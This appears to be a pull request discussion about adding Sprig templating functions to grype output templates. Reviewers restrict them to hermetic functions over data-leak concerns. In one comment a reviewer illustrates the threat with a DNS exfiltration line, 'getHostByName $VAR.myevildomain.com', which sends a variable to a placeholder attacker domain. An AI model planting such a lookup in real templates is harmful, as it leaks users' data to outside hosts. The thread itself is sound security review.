Add sprig templating functions for grype output

[samj1912]

This commit adds a set of common templating functions from https://masterminds.github.io/sprig/ which makes it easier to deal with go templates and dramatically improves what is possible with custom grype outputs.

[wagoodman]

I was writing a template the other day and was thinking about adding this --great addition!

[kzantow]

@wagoodman beat me to it; I was looking through the dependency updates. This looks like a useful addition! 👍

[samj1912]

@wagoodman / @kzantow I am looking through the function list. There are a subset of functions like https://masterminds.github.io/sprig/os.html which we might want to hold off from adding. Thoughts? If we don't want them, I can remove those out. The other option is to only include hermetic functions which excludes the following list https://github.com/Masterminds/sprig/blob/05f1d18231b62a3cc05e4babc33f0f6dbf933f7f/functions.go#L70 but I think the datetime functions might be useful.

[kzantow]

There are a subset of functions like https://masterminds.github.io/sprig/os.html which we might want to hold off from adding. Thoughts? If we don't want them, I can remove those out.

Is the concern that someone would distribute a template that results in some unexpected information leakage? At present, the end user would still need to explicitly specify the template, right?

I might be more concerned about a DNS lookup; someone could getHostByName $VAR.myevildomain.com or somesuch?

EDIT: only allowing the "hermetic" functions may be preferred, though, if for no other reason than the template would be based solely on Grype data; It would also help this possible security concern

[samj1912]

@kzantow / @wagoodman updated to just include hermetic functions for now.

[wagoodman]

I think including hermetic functions is a good first step, we can always adjust later if we find use cases that strongly hint at including non-hermetic functions. Good call @samj1912